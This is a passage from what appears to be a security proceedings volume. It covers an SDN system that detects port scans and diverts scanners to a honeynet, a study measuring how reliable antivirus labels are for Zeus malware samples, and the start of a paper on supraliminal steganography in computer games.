policy). (9) The switch stores the new policy into the policy table. (10) Finally,
the switch forwards the SYN/ACK packet to Host A.

TCP SYN Scanning to Closed Ports: When the Scanner S tries to scan
this network, he is likely to contact closed network ports instead of open ports,
because he usually does not know which port is open, and thus he may choose
some random ports. In our test scenario, we assume that the Scanner S contacts
port 445 for scanning.

When a TCP SYN scanning trial happens, our system performs as shown
in Fig. 5: (1) Scanner S sends a TCP SYN packet to the Openflow switch. (2)
Since there is no matching policy in the policy table, the switch reports the
information of this packet to the Openflow controller. (3) The flow analyzer in
the controller investigates the packet, sees the SYN flag and sets the timer, and
3 This timer will be used to detect TCP SYN scanning trials. We will show how the

controller uses this timer in the following case.
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Fig. 4. Normal TCP connection

finally enforces a new policy, which is forwarding a packet from the Scanner S to
port 445 in the Host D. (4) The switch receives the policy and stores the policy
into the policy table. (5) The switch forwards the packet to port 445 in the Host
D. (6) At this time, since Host D does not open port 445, it responds differently
from the normal case. There are two cases in the response of the Host D based
on its network stack implementation or its security policy. It responds with a
RST packet to tear down the connection or it does not reply with any packet.
(7) Here we have two cases (i) if the Host D replies with the RST packet, the
switch reports this to the controller because there is no matching policy. The flow
analyzer observes that there is a RST flag in the packet thus it knows that the
port is closed (scan detection). (ii) If the Host D does not reply, the switch will
not receive any packet and it will not report anything to the controller. Thus,
the timer for this flow in the controller will be expired thus the flow analyzer
knows the port is closed (scan detection). (8) The flow analyzer enforces a new
policy. At this time, the policy is to redirect packets from the Scanner S to
the Honeynet. (9) The switch stores the new policy into the policy table. (10)
The switch redirects the any following scanning packets from the Scanner S to
the Honeynet (i.e., a scanner will send more than one packet to a target network).
(11) Finally, the Honeynet will respond to the Scanner S to confuse him (i.e.,
the Scanner S may receive some response packets from the honeynet, and he
regards that he can successfully scan the host D).

TCP FIN/NULL/X-MAS Scanning: Beside a TCP SYN scanning, the
Scanner S can employ other techniques such as FIN and X-MAS scanning. In
these cases, the main difference between these and the TCP SYN scanning is
that whether there is a SYN flag in the first packet for connection or not. These
cases can also be detected by Network Iron Curtain easily.
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Fig. 5. TCP SYN scanning trial to a closed network port

Fig. 6. TCP Non-SYN scanning trial

When this scanning trial happens, our system operates as shown in Fig. 6: (1)
a Scanner S sends a TCP FIN packet to the OpenFlow switch, (2) Since there is
no matching policy in the policy table, the switch reports the information of this
packet to the OpenFlow controller, (3) The flow analyzer investigates the packet
and it sees the FIN flag. However, this is the first packet for a TCP connection,
thus any other flags except SYN are not allowed. From this, the flow analyzer
understands that it is a scanning trial. The flow analyzer enforces a new policy,
which is to redirect packets from the Scanner S to the Honeynet. (4) The switch
stores this policy into the policy table. (5) The switch will redirect the packet to
the Honeynet. (6) The Honeynet will response with a RST packet to the Scanner
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S. The other scanning trials such as a X-MAS scanning could be also handled
by the same approach shown here.

3.3 UDP Connection Trials

Since there is no pre-defined connection set-up (i.e., 3-way handshaking in TCP
protocol) in UDP protocol, we can not employ the previous approach for UDP
protocol. However, we expect that most UDP connections operate as a request-
and-reply manner. For example, in the case of a DNS service, if a client sends a
query (i.e., DNS Q query using UDP protocol) to a DNS server, the server will
respond (i.e., DNS A query using UDP protocol). It also can be applicable to
network scan attackers because they will expect some responses from a port in
order to understand whether the port is open or not.

Based on this intuition, we use the approach used in the previous case (i.e.,
TCP protocol case), but the approach for UDP protocol differs in that we only
investigate suspicious connections based on timer. In the case of TCP protocol,
to know whether a packet is for a scan attack or not, we parse the packet to
investigate whether there are flags which denote success/failure of the connection
(i.e., SYN, SYN/ACK, RST, and FIN flags) or we check a timer. Since UDP
protocol does not have these flags, we only use a timer to find a scan attack.
If there is a packet to an UDP port but no reply within certain time value, we
consider that the packet is for network scanning. Thus, the overall operation is
the same as shown in Fig. 5 (only considering timer).

The attack using one-way UDP streams is out of scope in this paper. Since
the one-way UDP stream does not issue any reply, it is not a scanning attack
but a kind of DoS attack. (Using the SDN statistics like the incoming packet per
seconds, we can block DoS attack too.)

3.4 Honeynet

If we detect scan packets, we redirect them and successive packets of them (in the
same flow) to a honeynet. The honeynet consists of multiple honeypots and each
honeypot emulates possible vulnerable network services. The attacker mistakes
the honeynet for the original one. In addition to confusing network scanner, the
honeynet can collect the attack information. The collected attack pattern can
be very useful to prevent and detect the another attack. At this time, we can
have two different strategies to confuse network scanners; (i) all-alive network,
and (ii) phantom network. These two approaches are only different from each
other in some configurations, thus we can easily apply any case that we want.

All-Alive Network: In this case, our honeypots open all network ports even
there are no popular network services. Current honeypot programs open some
networks ports to emulate network services but they may not emulate all possible
network services. Thus, we simply run a simple network program to cover all
other network ports which are not covered by honeypot programs. For example,
if a honeypot program opens network port 80, 445, and 8080, out program will
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open other network ports from 1 to 65545 (except 80, 445, and 8080) and wait
network requests. However, this program does not emulate network services, it
only reply with simple predefined data.

Phantom Network: Network scanning attackers may think that it is not com-
mon that most (all) network ports are open. They may understand that there is
an approach to confuse themselves. To deceive network scanning attackers more
effectively, we can make fake network environments. We randomly select some
network services and let honeypots only open network ports for them. It looks
like another network environment, but its configuration is totally different from
original one which we want to protect from network scanning attacks.

4 Implementation and Evaluation

In this section, we describe how we have implemented the proposed system, and
we explain the evaluation environment and results.

4.1 Prototype Implementation and Evaluation Environment

We have implemented a prototype system for Network Iron Curtain to verify
our proposal. Our prototype has been implemented as an application program
running on POX controller [16]. In this application, we have implemented four
modules explained in Fig. 3.

We have used mininet [12] to evaluate our prototype Iron Curtain. Using the
typical mininet virtual machine and configuration [12], we have simulated the
simplified network environment shown in Fig. 3. There is one OpenFlow enabled
switch controlled by Network Iron Curtain, and the switch has 3 physical
ports that are connected with 3 virtual hosts. These ports are connected to
a client (Host A in Fig. 3) that act as a benign client or a network scanning
attacker, a server (Host D in Fig. 3), and a honeynet.

4.2 Evaluation Results

Figures 7 and 8 shows the start-up of mininet simulator and POX controller
with Network Iron Curtain. Figure 7 shows that we add 3 hosts (h1, h2,
and h3 in line 6) and a switch (s1 in line 8), and it also shows that each host is
connected to a switch (in line 10). Here, we use the host h1 as a normal client
or a scanning attacker (i.e., Host A), and the host 3 is regarded as a honeynet.
The created virtual switch (i.e., s1) in this mininet network is connected to the
POX controller, and it is presented in Fig. 8 (in line 8).

First, we test the normal flows in Fig. 4. To do this, we run a simple TCP
echo server on the host h2 and run a TCP echo client on the host h1. Figure 9
shows that a new flow set up for the SYN packet and the other new flow also
set up for the reply packet. This Figure presents that a TCP SYN packet is
delivered from the host h1 (line 2), and the packet is forwarded to the host h2
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Fig. 7. Console screen for launching a test network environment with mininet

Fig. 8. Console screen for launching Network Iron Curtain on the POX controller

Fig. 9. Console message for showing a normal TCP connection set up

Fig. 10. Console message for detecting a TCP scanning trial

(line 4). A TCP SYN/ACK packet from the host h2 (line 5) is forwarded to the
host h1 (line 7).

Second, we test a network scanning trial to a closed network port case in
Fig. 5. At this time, the Host D does not run a echo server, and we run a simple
scanner at the host A to scan a network port for a TCP echo service in the
Host D. However, since the Host D does not open this port, the Host D will
return a TCP RST packet to the scanner. Figure 10 shows the detection of this
scanning trial. Network Iron Curtain first detects this scanning trial when
it finds a TCP RST packet (line 6), and it forwards this packet to the honeynet
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(line 7). Finally, the honeynet will return a fake packet to confuse the scanning
attacker (line 9).

5 Related Work

There are some previous studies to defend a network from network scanning
attacks. TRW [17], RBS [8], and MRW [22] are good example techniques for
this. They are different from our work in that they require additional moni-
toring devices or network mirroring techniques. In addition, they just focus on
detection, and they do not provide an way of handling detected scanning packets.

Recently, some research based on OpenFlow technique has been proposed to
hide networks from network scanning. FRESCO [19] provides an way of imple-
menting reflector network, and Random host mutation technique [9] has been
suggested to hide a network from scanning trials. Our work is different from
them in that the goal is different (proposing a new network architecture vs. a
framework for developing security applications) and the approach is different
(detecting network scanning and remove the effect vs. varying the IP address of
hosts in a network).

Some approaches without using OpenFlow have been proposed to hide a
network. Gu et al., propose an approach of whitehole technique [6] to hide a
network from scanning trials. Although its goal is similar to our approach, it
requires additional devices that can modify network packets, and it is not easy
to deploy in a real world network. The idea of tarpit has been proposed to reduce
the effect of computer worm [10], and this idea can also be used to reduce the
effect of network scanning. However, this approach is clearly different from our
work in that it requires complicated configurations of software or hardware.

6 Limitation and Discussion

Although Network Iron Curtain can detect network scanning trials and
remove the effects of scanning, it has some limitations. First, it can delay the
performance of overall network throughput. Since Network Iron Curtain
needs to monitor all possible TCP sessions, it should control network flows in a
fine-grained way. However, we believe that it is the common problem for most
Software-Defined Networking architecture, and the it only adds delays to network
packets for connection setup. Once a connection has been established, Network
Iron Curtain does not affect the performance. The performance of the con-
troller is a common concern in the SDN studies. Tootoonchian et al. shows that
the controller with the common PC server can endure enough traffic [21]. The
DoS attack to the SDN contoller is also an important research issue [2,23].

Second, it is possible that there are some false positives when Network
Iron Curtain redirects suspicious packets to a honeynet. If a benign client
contacts a closed port by mistake, following packets from this client could be
considered as suspicious packets. To address this issue, we can hire some repu-
tation technology to investigate whether a host is really malicious or not. There
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are several studies that try to detect network scanning attacks or web based
attacks and Dshield [3] and FIRE [4] are good examples of them. Dshield [3]
provides information to detect hosts or ASes sending suspicious network scan-
ning/attacking packets, and FIRE [4] lists malicious ASes by measuring their
reputation. Clearly speaking, Network Iron Curtain can maintain some his-
tory information for scanning trials from each host. Although Network Iron
Curtain detects a failed TCP session from a host, it does not simply redirect
all future packets to a honeynet (but investigates more), if a host sends benign
packets in the past (normal TCP connections).

Third, Network Iron Curtain needs OpenFlow-enabled devices, although
it does not need any security devices. The switching cost to the OpenFlow-
enabled network would be a entry barrier. But the application area of OpenFlow
does not only focus on the security [13,15], and some are already applied into
realworld network environments [24]. The SDN technology is already spreading
widely.

7 Conclusion and Future Work

In this paper, we propose a new network architecture - Network Iron Curtain
- to hide a network from network scanning trials. The proposed network archi-
tecture employs the functions of OpenFlow technology, and it can performs its
operations without adding third-party devices or programs. In the near future,
we will deploy the proposed network architecture in a real network environ-
ment. In addition, we will test more diverse network scanning cases to verify the
proposed network architecture.
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Abstract. In recent years, researchers have relied heavily on labels pro-
vided by antivirus companies in establishing ground truth for applica-
tions and algorithms of malware detection, classification, and clustering.
Furthermore, companies use those labels for guiding their mitigation
and disinfection efforts. However, ironically, there is no prior systematic
work that validates the performance of antivirus vendors, the reliability
of those labels (or even detections), or how they affect the said applica-
tions. Equipped with malware samples of several malware families that
are manually inspected and labeled, we pose the following questions:
How do different antivirus scans perform relatively? How correct are the
labels given by those scans? How consistent are AV scans among each
other? Our answers to these questions reveal alarming results about the
correctness, completeness, coverage, and consistency of the labels utilized
by much existing research. We invite the research community to challenge
the assumption of relying on antivirus scans and labels as a ground truth
for evaluating malware analysis and classification techniques.

Keywords: Malware · Labeling · Automatic analysis · Evaluation

1 Introduction

Antivirus (AV) companies continuously evolve to improve their products. AV
products provide users with an added protection from malware threats, but
they are not a complete solution. Malware evolves at a much faster rate than AV
products, which then forces AV companies to innovate and improve approaches
for malware detection. AV products provide two major functionalities: first and
more importantly, detecting malicious software and secondly, labeling malware
based on a family association. Labeling is an important problem to AV vendors
because it allows them to filter known malware and focus on new malware fami-
lies or variants of similar malware families. Labeling also allows the AV vendors
to track a malware family and its evolution.
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The AV market is very diverse and provides much room for competition,
allowing new companies to build AV products and compete for a share of the
market. This diversity of AV software vendors creates disorganization in the AV
market characterized by a lack of standards for information sharing, malware
family naming, and transparency. For example, each AV company has its own
way of naming malware families as they are discovered. Malware names are usu-
ally created by analysts who study new malware samples, by utilizing artifacts
within the malware to derive the given names. Some malware is so popular in
underground forums, like SpyEye, Zeus, ZeroAccess, DirtJumper, etc., that AV
vendors use those names given to the malware by the authors or the malware
market. Other smaller and less prominent malware is usually named indepen-
dently by each AV company. For example, targeted malware, which is known as
advance persistent threat (APT), is low key malware that AV vendors name and
track independently.

Malware naming and labeling has many useful applications in the security
field. Security practitioners have an interest in identifying a malware by a family
name so that they can mitigate the threat for their organization. AV vendors can
use labels to filter out insignificant malware and focus only on high priority mal-
ware families. Researchers in academia have benefited from detections and label-
ing of malware provided by AV vendors in many ways. For example, researchers
in the fields of malware analysis, detection, and classification have benefited from
AV scans and labels in establishing baselines to compare their designs against.
In fact, there exists a large body of academic literature that relies on AV labels
to verify methods and techniques, including [2,3,6,12,13,16,20,22,23] (a survey
of those works is in [15]).

However, the use of AV labels for validating classification research—while
creating a ground truth for comparing different works to each other— has
many shortcomings and pitfalls. First, oftentimes malware samples collected by
researchers are not necessarily represented in their entirety within a single mal-
ware scanning engine. Accordingly, researchers tend to use multiple engines to
cover their datasets, despite inconsistencies in labeling and naming conventions
used by those engines. Those inconsistencies are resolved by translating names
from one AV vendor to another, although—as we mentioned earlier—different
AV vendors may use different names to refer to the same family. Even worse, dif-
ferent families may have the same name in different AV detections—for example
“generic” and “trojan” are used by many vendors as an umbrella label [9].

1.1 The Origins of Inconsistency and Implications

The AV inconsistencies arise because of the methods used by the AV vendors for
detection. The primary goal for an AV vendor is detect malicious code, hence
making labeling a secondary priority. Most AV vendors use a combination of
static and heuristic-based methods to identify and label malware. Static signa-
tures are insufficient because malware authors use obfuscation techniques, which
quickly outdates a static signature. A heuristic signature, on the other hand,
allows detection based on the behavior of the unknown software. A heuristic
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signature can consist of several behavior conditions that will trigger the signa-
ture. For example, if a piece of unknown software listens on a port for incoming
connections, injects code into privileged processes, and hooks specific Windows
APIs, then a heuristic signature is triggered and an alert is generated. These
heuristic rules are loosely designed to detect malicious code, hence they are not
suitable for labeling due to their generic labeling schemes.

Those inconsistencies create inefficiencies in the industry and could prevent
stakeholders from benefitting from a common standard for malware family nam-
ing and information sharing. For example, if a user of an AV engine Ai detects
a malware with label δ1, the user might have a mitigation plan for that malware
family. On the other hand another AV vendor, Aj , detects the same malware as
δ2, then the user of Aj will not be able to use an existing mitigation plan for
the same malware. This inefficiency can cost organizations millions of dollars in
intellectual property theft or reputation damage. Understanding the size of the
damage caused by this issue is nontrivial, since companies are conservative in
revealing information about the compromise of their systems and exfiltration of
their users’ or proprietary data, and only insiders are aware of this threat and its
cost. However, there has been recent public information that support, highlight
the trend, and put good figures on that cost and pervasiveness of such phenom-
ena; examples include the hacking of LinkedIn [18], Ubisoft [4], LivingSocial [17],
and most famously Nissan [10].

An even worse problem related to those inconsistencies is when the same
AV engine detects the same malware family with different labels due to an
evasion technique used by the malware. For example, if a malware is ini-
tially detected using a static signature, then later—due to its polymorphism
technique—heuristically using a generic malicious behavior, the AV vendor will
give it another label. This will create an inconsistent label within the same
AV vendor’s labeling schema. These inconsistencies and shortcomings may not
have a direct implication on the malware detection provided by the AV scanner,
although they impact applications that use AV labeling. For example, mislabels
may propagate error throughout an experiment that relies on those labels as
a ground truth. In the literature, researchers widely accepted AV labels as a
ground truth of malware family membership, including applications of classifi-
cation, clustering, and alternative detection techniques.

Motivated by our recent work on cross-validating AV labels against highly-
accurate expert-vetted and labeled malware samples, we pursue the study of sys-
tematically understanding those inconsistencies and reveal several interesting
insightful remarks that greatly affect the way applications based on AV provided
labels (or even detections) work. Our study to address the problem, while inspired
by the work in [2], is the first of its type to go at length to systematically evalu-
ate those labels and detections. We do this by considering one popular malware
family, the Zeus banking Trojan, thus giving AV scanners many benefits of the
doubt. The Zeus banking Trojan is a famous banking Trojan that is used by cyber
criminals to run a botnet to steal money, credentials, and system resources from
the infected victims. In particular, the Zeus source code was leaked in 2011 and
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since then there has been numerous variants that have surfaced [7]. Our samples
are used so that their detection in our system is old enough to make sure that
they are populated in those AV scanners. The popularity of the studied malware
family makes it a good candidate to evaluate detections and labels, because one
would expect this family to be well researched in the AV community, thus reduc-
ing inconsistencies in labels and detections across different AV vendors.

1.2 Contribution

The contribution of this study is twofold. We provide metrics for evaluating AV
detections and labeling systems. Second, we use a highly-accurate and manually-
vetted dataset for evaluating the detections and labelings of a large number of
AV engines using the proposed metrics. The dataset, scripts, and AV scans will
be all made available publicly to the community to use and contribute to problem
at hand. To the best out our knowledge, there is no prior systematic work that
explores this direction at the same level of rigor we follow in this paper (for the
related work, see Sect. 4). Notice that we disclaim any novelty in pointing out the
problem. In fact, there has been several works that pointed out problems with
AV labels [2,3], however those works did not systematically and quantitatively
study the performance of AV scanners and the accuracy of their labels. This, as
mentioned before, is in part because of the lack of datasets with solid ground
truth of their label1.

1.3 Organization

The organization of the rest of this paper is as follows. In Sect. 2 we provide
an overview of the dataset we used in this study and the method we use for
obtaining it. In Sect. 3 we review the measurements and findings of this study:
we first introduce evaluation metrics for AV vendors, and then use those metrics
to evaluate 48 vendors and their performance on our dataset. In Sect. 4 we review
the related work, followed by concluding remarks, open directions, and the future
work in Sect. 5.

2 Datasets

To evaluate the different AV vendors based on a common ground of comparison,
we use the Zeus banking trojan, which has been identified manually by analysts.
Our dataset consists of 1,000 samples, which is large enough to derive meaningful
insights into the problem at hand and small enough to be manually vetted for
correct results2. To identify the label of this family, we used forensic memory sig-
natures to identify a set of possible Zeus samples from our malware repositories,
1 Ironically, some of those works pointed out the problem and yet used AV-provided

labels for validating their malware clustering algorithms [3,15].
2 We use malware samples accumulated over a period of a year (mid 2011 to 2012).

As we will see later, this would give the AV vendors an advantage and might over-
estimate their performance compared to more emerging threats (APT).
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then we manually vetted the set to ensure our final data set is clean of malware
families that might falsely trigger our memory signatures. More details on this
method for vetting malware samples is described in [9]. For the evaluation of
our data set we used VirusTotal [1] signatures for 48 AV engines to test several
evaluation measures. We discarded all engines that provided detections for only
less than 10 % of our dataset.

VirusTotal is a multi-engine AV scanner that accepts submissions by users
and scans the sample with multiple AV engines. The results from VirusTotal
have much useful information, but we only use the AV vendor name and their
detection label. VirusTotal will provide more AV results when a malware sample
has been submitted in the past. The reason for this is that AV engines will
provide an updated signature for malware that is not previously detected by their
engines but was detected by other engines. Hence, malware samples that have
been submitted multiple times for a long period of time will have better detection
rates. However, because no researchers have had an alternative to the labels the
AV scanners provide, so far the completeness, consistency, and correctness—the
three comparison and evaluation measures we study in Sect. 3—of AV labels
and scans were not challenged. Implications of those metrics of an AV scan were
overlooked in the literature.

3 Measurements

3.1 Evaluation Metrics

In this work we use several evaluation metrics, namely completeness, consistency,
and correctness, and coverage. The metrics are defined as follows:

– Completeness: For our references dataset D, we compute the completeness
of the scans of an AV vendor Ai as the number of detections returned by Ai

normalized by the size of the dataset, |D|.
– Consistency: The consistency is computed as the agreement (or disagree-

ment) in detections between Ai and the rest of AV vendors we tested. For
that, we use the Jaccard distance which captures the number of samples
consistently detected or undetected by two vendors Ai and Aj and results
in n − 1 consistency values for Ai.

– Correctness: Given our reference dataset D, we compute the correctness of an
AV vendor Ai as the number of detections matching our reference detection
normalized by the size of the reference dataset, |D|.

– Coverage: We define the coverage as the number of the AV scans (list of
detections and labels, respectively) required for achieving a correct and com-
plete scan. This is, as various AV scans will provide partial correctness and
completeness scores for the reference dataset, this measure would determine
how many AV vendors one needs to utilize to get a perfect score for both
measures.
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3.2 Results and Analysis

Completeness. For completeness, and as explained above, we use the ratio of
detections out of our 1,000 sample set per an AV engine. For example, if an
AV engine Ai has 950 detections for the 1,000 sample dataset then AV engine
Ai has a 0.95 completeness regardless to what labels that are returned by the
named AV. Figure 1 plots the completeness of all AV engines that were used in
the evaluation. The results show a detection rate as low as 0.15 for our dataset
and as high as 0.94 for the given AV engines. Roughly 45 % of the AV engines
in our study have a less than 70 % detection rate (0.7 completeness score).

While the completeness scores given to AV scanners are not surprising, the
high diversity in the score and large range are. Thus, the result has many inter-
esting implications. Most importantly, given that no AV scanner provided a
completeness of one, we cannot establish consistency over a labeling based on
a single reference AV vendor. Furthermore, we cannot establish a consensus on
what different AV providers mean by their labels for the entire dataset. Second,
even the most widely used AV scanners are do not provide sufficient results:
among the most widely used AV vendors in the academic community for vali-
dation of studies are Avira (Antivir), Kaspersky, Symantec, McAfee, Microsoft,
AhnLab, AVG, and ClamAV. While they are among the most complete AV scans
for the reference dataset (with completeness scores ranging from 0.76 to 0.94),
we notice that the small “incompleteness” of scans is problematic to the appli-
cation for which the scans are used. While researchers strive to achieve 99 % of
accuracy in their classification of malware samples [3], a 6 % of incompleteness is
an overlooked margin of error, and it is unclear how this margin is considered in
the total performance measures in the literature. Even worse, the completeness
of a scan does not guarantee a correctness of a detection.

Correctness. We define the correctness as the ratio of detections with a cor-
rect label per AV engine for all of our dataset. In our study we considered
three labels to be acceptable for correctness, “Zbot,” “Trojan,” and “Generic.”
Although those labels might be anticipated to yield high results, especially for
generic labeling (Generic) the results show otherwise. Figure 2 illustrates two
plots of the correctness evaluation. The bar chart is color coded differently for
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Fig. 1. Completeness of detections by 48 AV vendors. Popular AV scans used in the
literature include Avira (Antivir), Kaspersky, Symantec, McAfee, Microsoft, AhnLab,
AVG, and ClamAV, which are bars numbers: 27, 18, 11, 4, 36, 40, 47, and 17, respec-
tively. (in all figures)
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Fig. 2. Correctness of detections by 48 vendors. Color code: green is precise detection
(Zbot), red and violet are translated detections (generic and trojan). Upper figure is
normalized by 1000 (incorporates the completeness score), while the lower figure is
normalized by number of detections of the given AV scan (Color figure online).

each label mentioned above, green is “Zbot,” red is “Generic,” and violet is
“Trojan” (the height of the bar is inclusive of all detections and variants). The
difference between the two bar charts is the normalization value used for both.
While the first bar chart is normalized based on the size of our dataset of 1,000
samples to incorporate the completeness score, the second bar chart is normal-
ized by the number of detections for the given AV engine. We observe that the
majority of AV engines label the malware “Zbot” less than 50 % (0.5 of correct-
ness) of the time per detection. We also observe that the “Zbot” label is used by
almost all of the AV engines. Note that the correctness score for each AV engine
is lower than the completeness score because other labels are used by the AV
engine to label our dataset, which vary outside the three major labels we chose.

This evaluation measure of AV scans has perhaps the most critical implica-
tion. In short, this measure says that, even when an AV provides a complete
scan for a malware dataset, it is still not guaranteed that the same scanner will
provide a correct label, and thus a labeling provided by an AV vendor cannot
be used as a certain ground truth for labeling.

Consistency. We define the consistency as an AV engine detecting a malware
sample alongside other AV engines. The consistency is determined per sample
and is compared across all AV engines. We observed on average an AV engine
is about 50 % consistent with other AV engines, meaning that given a malware
sample detected by Ai, 50 % of the time it is also detected by Aj as malicious.
Figure 3 illustrates the consistency of each AV engine across all other engines
using box plots (min, first quartile, median, third quartile, and max). The figure
clearly displays a median of approximately 50 % for all AV engines. This finding
further raises the question of how many AV scanners it would take to get a
consistent detection for a given dataset.
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Fig. 3. Consistency of detections by 48 vendors.

Coverage: How many AV scanners? For completeness and correctness we
pose the following question: What is the least number of scanners it takes to get a
complete (or correct) scan of our reference dataset? This question stems from the
fact that many researchers in the literature combined more than one AV vendor’s
results to get a better coverage of labels for their experiments. Answering this
question is not as easy as it sounds: the problem is the optimization version of the
set-cover problem, which is known to be NP-hard. Thus, we consider heuristics
to answer the question.

Again, we use the same scans we used for plotting the previous figures of
the completeness and correctness scores. We use two strategies for each score,
namely l/s and s/l, as shown in Fig. 4. For l/s, we start by considering potential
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scans to obtain the required completeness from large to small, add them to the
list of final scans, increase the number of AV scanners by one for each, and
recompute the completeness (correctness) score respectively. The s/l strategy
does the opposite. We use the strategies as extremes, and don’t consider the
best strategy3. As expected, we notice that it takes fewer scanners to achieve a
completeness of 1 than it takes to achieve correctness of 1, even with the better-
performing strategy. Numerically, we observe that while 5 scans are required to
achieve completeness of 1, 22 AV scans give only 0.97 of correctness. Indeed,
even 48 AV scanners (the total) were able to achieve only 0.99 of correctness.

4 Related Work

Ironically, while the use of AV-provided labels has been widely employed in the
literature for training algorithms and techniques utilized for malware classifica-
tion and analysis[2,3,5,8,9,11–14,19,20,23], there is less work done on under-
standing the nature of those labels. Recent works, like [13,15] only pointed out
the problem of AV-provided labels without any measurements or evaluation.

To the best of our knowledge, the only prior work dedicated to systematically
understanding AV-provided labels is due to Bailey et al. [2]. However, our work
is different from that work in several aspects highlighted as follows:

– While our work relies on a set of manually-vetted malware samples for which
we know the accurate label and family, the work in [2] relies on an AV vendor
as a reference and compares other vendors to it. In particular, the authors
use McAfee as the presumed complete and accurate reference of detection
and labeling and compare a handful other vendors to it. Our technique avoids
this issue by relying on a manually inspected reference set against which the
performance of many AV vendors is tested.

– Our study considers the largest set of AV-vendors studied in the literature
thus far for a comparative work. We do that by relying on the largest number
of manually-vetted malware samples as well. As shown in the study, even when
certain AV providers are consistent among each other, they still don’t provide
perfect results with respect to the ideal ground truth.

– Finally, given that we rely on a solid ground truth, we develop several met-
rics of AV scans evaluation that are specific to our study: the correctness,
completeness, and coverage. On the other hand, the prior work considers all
results provided by the reference AV scan to be correct and compares other
AV scans to them.

5 Conclusion and Future Work

In this work, we unveil the danger of relying on incomplete, inconsistent, and
incorrect malware labeling systems provided by AV scanners and using them
3 The greedy strategy, by adding the AV scan with least overlap to the current set, is

the best known approximation [21].
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in the research community for validating malware analysis and classification
techniques. Our study shows that one needs many independent AV scanners
to obtain complete and correct labels. Our study has many limitations to it,
and does not try to answer many questions that are either out of its scope or
beyond our resources and capabilities. First of all, our study cannot be used as
a generalization on how AV vendors would perform against each other in other
contexts, because we don’t use every hash in every given AV scanner. Similarly,
the same generalization cannot be used for the Zeus malware family, since we
didn’t use all samples known to be Zeus against the AV scanners. Our study
is, however, meaningful in answering the limited context’s questions it poses
for 1000 malware samples. Furthermore, our study goes beyond the best known
work in the literature in the problem by not relying on AV-provided vendors as
reference for comparing other vendors.

To this end, in the future we will try to answer those questions with more
manually-vetted malware samples belonging to different families, and by study-
ing better ways of obtaining consensus over AV-provided labels, ways that can
tolerate many inconsistencies among vendors. We see a solution to the problem
by enabling information sharing, so one of our future works is to explore how
this sharing would enable better use of indicators for better malware labeling.
We will release all datasets used in this study (AV scans, hashes, and scripts
used for comparison), to help pursue alternatives. We hope this note will trigger
further investigation and attention in the community to this crucial issue.
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Abstract. While there is some work on supraliminal steganography, its
definition makes it problematic in several respects. We deconstruct and
sharpen the definition to create assured supraliminal steganography. The
taxonomy and definition of assured supraliminal steganography are illus-
trated by hiding messages in computer games. We discuss four stegano-
graphic computer game implementations, and present the results of an
experiment needed to ascertain whether or not a supraliminal method is
actually assured supraliminal steganography. The results showed that it
was possible to embed assured supraliminal messages into the four game
implementations, and extract the messages with no or minimal errors.

1 Introduction

Most steganography research relies on subliminal techniques, hiding information
by making unobtrusive changes to some cover object like a data file. But what
if the “hidden” information is hidden in plain sight? The techniques for doing
this are far less studied. We present novel techniques for hiding information in
plain sight in computer games.

In the field of information hiding, the Prisoners’ Problem [27] is a common
method of describing steganographic channels. Alice and Bob have been put
in jail and would like to communicate an escape plan to each other. The war-
den, who is often called Wendy, will allow Alice and Bob to exchange messages
provided that she does not suspect they are hiding escape plans in innocuous
messages. If she discovers that they are passing secret messages, she will elim-
inate all communication. Wendy can be one of three types of warden: passive,
active, or malicious. A passive warden simply watches the messages as they pass
between Alice and Bob – she cannot change or delete the messages, nor spoof
either Alice or Bob to the other, nor can she inject new messages into the mes-
sage stream. An active warden is allowed to change a small amount of data in
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each message (one bit in 100 has been suggested as a suitably small amount [3])
but cannot add or delete messages to the message stream. A malicious warden
can change all or part of a message, delete or add new message and also spoof
Alice to Bob and vice versa. This last type of warden is not considered in this
work because supraliminal channels are only defined using an active warden [3].

Supraliminal steganography uses a perceptually significant channel to trans-
mit a secret message [3]. The goal is to convince Wendy that the secret message
is innocuous, such as noise in a still image.1 Subliminal steganography, on the
other hand, occurs when the message is hidden in perceptually insignificant parts
of the channel, such as changing the value of the least significant bit (LSB) of an
image or audio file [6,23]. The basic tenets of a supraliminal channel are that it
must be robust in that making small changes to the channel will not eradicate
the message; the channel must be inconspicuous, which means that knowledge
of the channel must not imply knowledge of the existence of the message; finally,
the channel must be blatant, meaning that the message must be available to
anyone who has access to the channel [3]. Furthermore, Wendy may only be an
active and not a malicious warden, which means that she can only make small
changes to the image. This restriction is valid because it is unlikely that Wendy
would be able to make significant changes to each image under the assumption
that a large number of images are exchanged between Alice and Bob.

Deconstructing supraliminal. The original definition of supraliminal steganogra-
phy is due to Craver [3], but problems arise in practice when trying to pin down
what constitutes “supraliminal.”

First, the level of interpretation must be defined. For example, a bit conveyed
by the presence or absence of a teacup in a digital picture may be easily seen
as supraliminal in terms of a human viewing the rendered image. Such semantic
interpretation of the teacup’s existence in the image is known as content–aware
steganography [1]. However, there is also a representation of that teacup in the
image file that is unseen directly by the human, so it can be argued to also
be subliminal from that level of interpretation. Indeed, we conjecture that all
digital supraliminal messages must have some subliminal component.

Second, the very terms “subliminal” and “supraliminal” are linked to (human)
perception. In some cases, it is clear that a steganography technique is sublimi-
nal because of what is known about human physiology. Beyond those cases, and
especially as we consider supraliminal steganography, we think that there is a
spectrum of perceptibility, and in many instances user studies are warranted to
ascertain whether a steganographic technique is truly supra- or subliminal to a
human. Such user studies are not a typical feature in steganography, though.

Third, the limits on the warden’s possible actions with respect to the channel
must be well defined in the same way as security research defines threat models.
This is necessary to understand, when we claim a channel is “robust,” what it
is robust with respect to.
1 We use images as examples initially due to their familiarity; we turn to games later
in this section.
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Application to computer games. In the remainder of this paper, we illustrate
how supraliminal messages may be conveyed in even simple computer games. To
address the issues mentioned above, we strengthen Craver’s original definition
to create what we call assured supraliminal steganography. This inherits the
original properties – that the channel be robust, blatant, and inconspicuous
– but adds the proviso that we assure the channel is human-perceptible (and
therefore supraliminal in the true sense) because a human is able to see enough
to extract the message manually, if necessary. We do not preclude the human
being a trained operator; recall that trained humans once routinely sent and
received Morse code. Furthermore, historical accounts of early steganographic
techniques such as the tattooed slave’s head [16] required a trained operator to
both embed and retrieve the message.

The level of interpretation (for both the intended message receiver and the
warden) is the game interface as used by a human playing the game. A message
may or may not be extractable by looking at network packets or a browser-based
game’s JavaScript code, but that lies outside our threat model.

Finally, the warden may actively make changes on the recipient’s end in
order to impede or destroy any steganographic channel, but gameplay cannot be
altered as a result.

Assured supraliminal steganography in games has a natural taxonomy that
we follow in this paper, that derives from how a human extracts a message. If
the message may be perceived in its entirety initially without starting to play
the game, we call such a steganographic method static. If, on the other hand, the
